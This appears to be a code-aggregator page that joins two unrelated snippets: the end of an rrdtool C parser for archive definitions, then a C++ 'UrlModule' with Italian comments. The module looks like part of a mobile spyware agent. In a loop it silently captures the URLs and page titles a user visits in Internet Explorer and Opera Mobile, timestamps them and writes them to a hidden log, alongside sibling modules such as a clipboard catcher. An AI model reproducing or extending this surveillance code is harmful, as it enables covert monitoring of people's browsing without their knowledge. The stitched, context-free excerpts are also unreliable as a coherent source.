                            rrd_set_error("Invalid row count: %i", row_cnt);
                        rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt = row_cnt;
                        break;
                    }
                    break;
                case 4:
                    switch (cf_conv
                            (rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
                    case CF_FAILURES:
                        /* specifies the index (1-based) of CF_DEVSEASONAL array
                         * associated with this CF_DEVFAILURES array. */
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_dependent_rra_idx].u_cnt =
                            atoi(token) - 1;
                        break;
                    case CF_DEVSEASONAL:
                    case CF_SEASONAL:
                        /* optional smoothing window */
                        if (sscanf(token, "smoothing-window=%lf",
                                   &(rrd.rra_def[rrd.stat_head->rra_cnt].
                                     par[RRA_seasonal_smoothing_window].
                                     u_val))) {
                            strcpy(rrd.stat_head->version, RRD_VERSION);    /* smoothing-window causes Version 4 */
                            if (rrd.rra_def[rrd.stat_head->rra_cnt].
                                par[RRA_seasonal_smoothing_window].u_val < 0.0
                                || rrd.rra_def[rrd.stat_head->rra_cnt].
                                par[RRA_seasonal_smoothing_window].u_val >
                                1.0) {
                                rrd_set_error
                                    ("Invalid smoothing-window %f: must be between 0 and 1",
                                     rrd.rra_def[rrd.stat_head->rra_cnt].
                                     par[RRA_seasonal_smoothing_window].
                                     u_val);
                            }
                        } else {
                            rrd_set_error("Invalid option %s", token);
                        }
                        break;
                    case CF_HWPREDICT:
                    case CF_MHWPREDICT:
                        /* length of the associated CF_SEASONAL and CF_DEVSEASONAL arrays. */
                        period = atoi(token);
                        if (period >
                            rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt)
                            rrd_set_error
                                ("Length of seasonal cycle exceeds length of HW prediction array");
                        break;
                    default:
                        /* shouldn't be any more arguments */
                        rrd_set_error
                            ("Unexpected extra argument for consolidation function %s",
                             rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam);
                        break;
                    }
                    break;
                case 5:
                    /* If we are here, this must be a CF_HWPREDICT RRA.
                     * Specifies the index (1-based) of CF_SEASONAL array
                     * associated with this CF_HWPREDICT array. If this argument 
                     * is missing, then the CF_SEASONAL, CF_DEVSEASONAL, CF_DEVPREDICT,
                     * CF_FAILURES.
                     * arrays are created automatically. */
                    rrd.rra_def[rrd.stat_head->rra_cnt].
                        par[RRA_dependent_rra_idx].u_cnt = atoi(token) - 1;
                    break;
                default:
                    /* should never get here */
                    rrd_set_error("Unknown error");
                    break;
                }       /* end switch */
                if (rrd_test_error()) {
                    /* all errors are unrecoverable */
                    free(argvcopy);
                    rrd_free2(&rrd);
                    return (-1);
                }
                token = strtok_r(NULL, ":", &tokptr);
                token_idx++;
            }           /* end while */
            free(argvcopy);
#ifdef DEBUG
            fprintf(stderr,
                    "Creating RRA CF: %s, dep idx %lu, current idx %lu\n",
                    rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam,
                    rrd.rra_def[rrd.stat_head->rra_cnt].
                    par[RRA_dependent_rra_idx].u_cnt, rrd.stat_head->rra_cnt);
#endif
            /* should we create CF_SEASONAL, CF_DEVSEASONAL, and CF_DEVPREDICT? */
            if ((cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam) ==
                 CF_HWPREDICT
                 || cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam) ==
                 CF_MHWPREDICT)
                && rrd.rra_def[rrd.stat_head->rra_cnt].
                par[RRA_dependent_rra_idx].u_cnt == rrd.stat_head->rra_cnt) {
#ifdef DEBUG
                fprintf(stderr, "Creating HW contingent RRAs\n");
#endif
                if (create_hw_contingent_rras(&rrd, period, hashed_name) ==
                    -1) {
                    rrd_set_error("creating contingent RRA");
                    rrd_free2(&rrd);
                    return -1;
                }
            }
            rrd.stat_head->rra_cnt++;
        } else {
            rrd_set_error("can't parse argument '%s'", argv[i]);
            rrd_free2(&rrd);
            return -1;
        }
    }


    if (rrd.stat_head->rra_cnt < 1) {
        rrd_set_error("you must define at least one Round Robin Archive");
        rrd_free2(&rrd);
        return (-1);
    }

    if (rrd.stat_head->ds_cnt < 1) {
        rrd_set_error("you must define at least one Data Source");
        rrd_free2(&rrd);
        return (-1);
    }
    return rrd_create_fn(filename, &rrd);
}
Example #4
0
DWORD WINAPI UrlModule(LPVOID lpParam) {
	Module *me = (Module *)lpParam;
	HANDLE moduleHandle;

	wstring strIEUrl, strIE65Url, strOperaUrl, strIEOld, strIE65Old, strOperaOld;
	wstring strTitle;
	BOOL bEmpty = TRUE;
	INT iRet;
	UINT uMarkupLen, uHash = 0, uNewHash;
	BYTE *pMarkup;
	SYSTEMTIME st;
	DWORD dw, dwMarker = LOG_URL_MARKER;
	WCHAR wNull = 0;
	struct tm mytm;

	Log log;

	me->setStatus(MODULE_RUNNING);
	moduleHandle = me->getEvent();

	DBG_TRACE(L"Debug - UrlCatcher.cpp - Url Module is Alive\n", 5, FALSE);

	if (log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH) == FALSE) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	// Inizializziamo uHash con l'hash dell'ultimo URL preso
	pMarkup = log.ReadMarkup(MODULE_URL, &uMarkupLen);

	if (pMarkup && uMarkupLen == 4)
		CopyMemory(&uHash, pMarkup, sizeof(uHash)); 

	if (pMarkup) {
		delete[] pMarkup;
		pMarkup = NULL;
	}

	LOOP {
		do {
			iRet = GetIE60Url(strIEUrl, strTitle, moduleHandle);

			// Dobbiamo fermarci
			if (iRet < 0) {
				if (me->shouldStop()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

					log.CloseLog(bEmpty);
					me->setStatus(MODULE_STOPPED);
					return 0;
				}

				if (me->shouldCycle()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

					log.CloseLog(bEmpty);
					log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
					bEmpty = TRUE;
					continue;
				}
			}

			// Calcoliamo l'hash dell'URL attuale
			uNewHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));

			if (iRet && uNewHash != uHash && strIEUrl != strIEOld) {
				GetSystemTime(&st);
				SET_TIMESTAMP(mytm, st);

				if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
					bEmpty = FALSE;

				log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
				log.WriteLog((BYTE *)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
				// Scriviamo il tipo di browser
				dw = 1; // IE
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo il titolo della finestra + NULL
				if (strTitle.empty())
					strTitle = L"UNKNOWN";

				log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il delimitatore
				dw = LOG_DELIMITER;
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo l'hash dell'URL attuale nel markup
				uHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
				log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

				strIEOld = strIEUrl;
			}
		} while(0);

		do {
			iRet = GetIE65Url(strIE65Url, strTitle, moduleHandle);

			// Dobbiamo fermarci
			if (iRet < 0) {
				if (me->shouldStop()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

					log.CloseLog(bEmpty);
					me->setStatus(MODULE_STOPPED);
					return 0;
				}

				if (me->shouldCycle()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

					log.CloseLog(bEmpty);
					log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
					bEmpty = TRUE;
					continue;
				}
			}

			// Calcoliamo l'hash dell'URL attuale
			uNewHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));

			if (iRet && uNewHash != uHash && strIE65Url != strIE65Old) {
				GetSystemTime(&st);
				SET_TIMESTAMP(mytm, st);

				if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
					bEmpty = FALSE;

				log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
				log.WriteLog((BYTE *)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il tipo di browser
				dw = 1; // IE
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo il titolo della finestra + NULL
				if (strTitle.empty())
					strTitle = L"UNKNOWN";

				log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il delimitatore
				dw = LOG_DELIMITER;
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo l'hash dell'URL attuale nel markup
				uHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
				log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

				strIE65Old = strIE65Url;
			}
		} while(0);

		do {
			iRet = GetOperaUrl(strOperaUrl, strTitle, moduleHandle);

			// Dobbiamo fermarci
			if (iRet < 0) {
				if (me->shouldStop()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

					log.CloseLog(bEmpty);
					me->setStatus(MODULE_STOPPED);
					return 0;
				}

				if (me->shouldCycle()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

					log.CloseLog(bEmpty);
					log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
					bEmpty = TRUE;
					continue;
				}
			}

			// Calcoliamo l'hash dell'URL attuale
			uNewHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));

			if (iRet && uNewHash != uHash && strOperaUrl != strOperaOld) {
				GetSystemTime(&st);
				SET_TIMESTAMP(mytm, st);

				if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
					bEmpty = FALSE;

				log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
				log.WriteLog((BYTE *)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il tipo di browser
				dw = 3; // Opera-Mobile
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo il titolo della finestra + NULL
				if (strTitle.empty())
					strTitle = L"UNKNOWN";

				log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il delimitatore
				dw = LOG_DELIMITER;
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo l'hash dell'URL attuale nel markup
				uHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
				log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

				strOperaOld = strOperaUrl;
			}
		} while(0);

		WaitForSingleObject(moduleHandle, 5000);

		if (me->shouldStop()) {
			DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

			log.CloseLog(bEmpty);
			me->setStatus(MODULE_STOPPED);
			return 0;
		}

		if (me->shouldCycle()) {
			DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

			log.CloseLog(bEmpty);
			log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
		}
	}

	return TRUE;
}